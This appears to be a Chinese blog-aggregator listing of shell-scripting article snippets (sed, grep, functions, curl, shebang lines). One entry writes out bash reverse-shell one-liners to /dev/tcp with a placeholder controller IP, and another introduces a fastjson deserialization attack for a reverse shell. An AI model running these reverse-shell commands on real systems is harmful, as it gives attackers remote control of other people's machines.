scripts shell

shell脚本-巡检华为路由器、交换机板卡状态

将巡检的设备状态信息文件 放到和shell脚本一个目录下,执行bash 脚本名称 for filename in $(ls | grep SD1);do device_model=$(cat $filename | grep "'s Device status" | cut -d"'" -f 1) ......
板卡 路由 路由器 交换机 脚本

Linux shell `#!` interpreter All In One

Linux shell #! interpreter All In One 指定脚本解释器的路径 #!/usr/bin/env python3 # ✅ 推荐写法, 动态读取 env 配置的解释器路径,切换系统环境不会报错,可移植性高 🚀 #!/usr/bin/python3 # 👎 不推荐写法... ......
interpreter Linux shell All One

shell 之 使用sed替换文本中某个字符串

#!/bin/bash if [ $# -lt 3 ] then echo "Usage:$0 <old_string> <new_string> <file path>" exit 1 fi old_string=$1 new_string=$2 file_path=$3 if [ -f "$fi ......
字符串 字符 文本 shell sed

shell 编程(7)之函数

###函数使用 创建函数 使用function function name { commands } 脚本中定义函数必须有唯一的名称 类似编程语言 name() { commands } 函数的使用 只需要在行中指定函数名即可 变量在函数中 向函数传递参数 使用标准参数环境变量来进行传参,例如,函数 ......
函数 shell

shell 编程(6) 之结构化控制

for 循环 列表中的值出现特殊符号时,使用引号将其括起来,以免出现歧义。当列表的值出现引号或空格时,就会出现歧义 语法: for <VARIABLE> in <LIST> do <COMMAND>.... done 1. 从变量中读取列表值 #!/bin/bash/ city="China Jap ......
结构 shell

linux运行shell脚本报错,提示syntax error near unexpected token `$'{\r''异常

最近运行一个shell脚本的时候,发现报syntax error near unexpected token `$’{\r’’ error。字面意思上看是换行符出现问题 用vim -b 查看,发现每一行多了~M解决方法:sed -i 's/\r//g' xxx.sh这样脚本就可以运行了——————— ......
脚本 unexpected 39 syntax linux

shell报错:bash:./xxx: 无法执行二进制文件: 可执行文件格式错误

shell报错:bash:./xxx: 无法执行二进制文件: 可执行文件格式错误 在ubuntu下运行一个可执行文件,但是出现错误: 由于文件已经拥有可执行权限,遂考虑是不是该文件编译时的CPU指令集和我的平台不同。 于是用file命令查看文件格式: 破案了,该文件是一个Windows下的可执行文件 ......
文件 二进制 错误 格式 shell

01 Shell基础

Shell语言基础 Shell定义 Shell又称命令解释器,能够识别用户输入的各种命令,并传递给操作系统。在UNIX或Linux中,Shell既是用户交互的界面,也是控制系统的脚本语言 Shell的分类 Bourne Shell:标识为sh,在许多Unix系统中,该Shell是root用户默认的S ......
基础 Shell 01

android apk 执行shell命令和Permission Denied 解决办法

/** *Android 11之后,如上诉原因,执行报错,没有权限, *解决方法,root或者debug版本,执行setenforce 0 关闭selinux即可, user 版本仍然不行,无法解决,如图看能否解决 * 执行一个shell命令,并返回字符串值 * * @param cmd * 命令名 ......
Permission 命令 android 办法 Denied

MySQL Shell 工具安装使用

详解转载: https://www.xmmup.com/mysql-shellgongjujieshao.html 下载: wget https://dev.mysql.com/get/Downloads/MySQL-Shell/mysql-shell-8.0.29-linux-glibc2.12- ......
工具 MySQL Shell

shell使用--sort和uniq

sort常用来进行排序 sort命令是帮我们依据不同的数据类型进行排序,其语法及常用参数格式: sort [-bcfMnrtk][源文件][-o 输出文件] 补充说明:sort可针对文本文件的内容,以行为单位来排序。 参 数: -b 忽略每行前面开始出的空格字符,从第一个可见字符开始比较。 -c 检 ......
shell sort uniq

[shell] 读取多行输出到数组/遍历awk输出的某一行

效果 想要达到的效果为,使用awk切分输出后,遍历每一行的输出。以下以ls -lh命令示例,遍历输出ls -lh命令的第一列输出。实际使用替换ls -lh 演示 1. 存放到数组后遍历数组 第一种方式, 简约但不推荐 https://github.com/koalaman/shellcheck/wi ......
数组 一行 shell awk

使用flask中flask_script时,报错:ModuleNotFoundError: No module named 'flask._compat'的解决方法

方法1:降级版本 pip install "Flask==1.1.4"pip install "werkzeug==1.0.1" 方法2:不降级版本: 可以尝试修改一下flask_script/__init__.py中from ._compat import text_type 改成 from fl ......

【shell】 curl 命令

Get #直接拿值 nodes_account_info=`curl --header "Content-Type:application/json" -k -sS \ --header "X-Auth-Token:$MATRIX_TOKEN" --request GET \ --url "http ......
命令 shell curl

fastjson反序列化:利用RMI服务反弹恶意java类shell

攻击主机环境的更换 在一台kali上首先默认的java环境是OPENjdk,这个版本的功能相对较低,所以利用起来功能不多,需要更换java环境 查看当前的java环境:有一条提示信息不用管不影响 删除现在已有的环境 apt-get purge openjdk-* 从上一台已经复现的靶机下载java环 ......
序列 fastjson 恶意 shell java

shell语法

Shell脚本一般是以sh结尾,比如test.sh,也可以用其他结尾 执行shell脚本: 1. sh test.sh 2. ./test.sh (这个需要给脚本赋予可执行的权限 chmod +x test.sh) 定义变量: name=”test” age=18 class=(“1ban” “2b ......
语法 shell

shell脚本获取当前目录

way=$(dirname $(pwd)) echo $way echo $(pwd) #当前路径 echo $(dirname $(pwd)) echo $(dirname $(dirname $(pwd))) #上上层路径 echo $(dirname $(dirname $(dirname $ ......
脚本 目录 shell

linux shell基础--终端显示字体背景和字体颜色\033[0;30m

ANSI标准 ANSI标准规定了一种所有终端共享的指令集,并要求用ASCII的数字字符传递所有数值信息,用于控制linux终端上的光标位置、颜色和其他选项。在文本中嵌入确定的字节序列,大部分以ESC转义字符和"["字符开始,终端会把这些字节序列解释为相应的指令,而不是普通的字符编码。终端颜色就是AN ......
字体 终端 颜色 背景 基础

反弹 shell 命令

bash bash -i >& /dev/tcp/[控制端IP]/[控制端监听Port] 0>&1 exec /bin/sh 0</dev/tcp/[控制端IP]/[控制端监听Port] 1>&0 2>&0 exec 5<>/dev/tcp/[控制端IP]/[控制端监听Port];cat <&5 | ......
命令 shell

实验3 简单shell的设计和实现

Unix实验报告 实验: 实验3 简单shell的设计和实现 专业: 计算机科学与技术 班级: 1班 姓名: 姚怀聿 学号: 22920202204632 2022年11月5日 目 录 一、 实验内容描述 2 二、 设计、实验构思 2 三、 实验结果 7 四、 实验心得与建议 9 五、 完成人姓名及 ......
shell

Springboot 系列 (25) - Springboot+HBase 大数据存储(三)| HBase Shell,HBase REST 服务 和 Phoenix 组件

在 “Springboot 系列 (24) - Springboot+HBase 大数据存储(二)| 安装配置 Apache HBase 和 Apache Zookeeper” 里我们安装配置了 Apache HBase 和 Apache Zookeeper,本文将介绍 HBase Shell,HB ......
HBase Springboot 组件 Phoenix 数据

InfluxQL shell

设置 InfluxDB 连接 创建一个新的 CLI 配置 # influx config create --config-name wgs-02 --host-url http://localhost:8086 --org wgs --token 59fSTydF26m1P34QUVE3EtAUPb ......
InfluxQL shell

深入学习shell命令-grep

grep 命令格式 man grep 对 grep 命令的说明如下: grep - print lines matching a pattern grep [OPTIONS] PATTERN [FILE...] grep [OPTIONS] [-e PATTERN | -f FILE] [FILE. ......
命令 shell grep

webmin install Script

#!/bin/sh # shellcheck disable=SC1090 disable=SC2059 disable=SC2164 disable=SC2181 # setup-repos.sh # Configures Webmin repository for RHEL and Debian ......
install webmin Script

解决VSCode新建终端自动时执行`pyenv shell xxxx`

问题 今天发现 VSCode 新建一个内置终端时会自动运行 pyenv shell xxx,实际上这并不是我自行配置的。 解决方案 打开 VScode 用户配置文件 settings.json,新增一行内容: "python.terminal.activateEnvironment": false ......
终端 VSCode pyenv shell xxxx

shell编程语言-linux主机禁止ping

首页 新闻 博问 专区 闪存 班级 linux--穿越地平线的渴望 只要你在爬,就一定会留下让你自己感动的日子,如果我们的生命不为自己留下一些热泪盈眶的日子,你的生命就是白过的——致青春! 博客园 首页 新随笔 联系 管理 Linux禁止ping以及开启ping的方法 Linux默认是允许Ping响 ......
编程语言 主机 语言 shell linux

shell判断字符串结尾

下面围绕“判断字符串是否以.txt结尾”展开。转变一下也同样适用于“判断字符串是否以.txt开头”。 通用的方法 # 方法一、使用grep命令 #!/bin/sh str="/path/to/foo.txt" # 使用if语句 if echo "$str" | grep -q -E '\.txt$' ......
字符串 字符 shell

BASH: disable shell builtin

enable Use the `env` command. Env is a command which launches another program with a possibly modified environment. Because env is a program, it doesn ......
disable builtin shell BASH

shell编程-FTP服务账号的批量设置

FTP账号配置:应用背景:安装vsftpd服务程序:echo “HELLO hello” >/ftproot/bjtt/a.txt是目录权限导致:OOPS错误验证bjtt_upload的权限:验证bjtt_download的权限:脚本实现: ......
账号 shell

详解shell语法检查模式

启用 verbose 调试模式 在进入本指导的重点之前,让我们简要地探索下 verbose 模式。它可以用 -v 调试选项来启用,它会告诉 shell 在读取时显示每行。要展示这个如何工作,下面是一个示例脚本来批量将 PNG 图片转换成 JPG 格式。 将下面内容输入(或者复制粘贴)到一个文件中。 ......
语法 模式 shell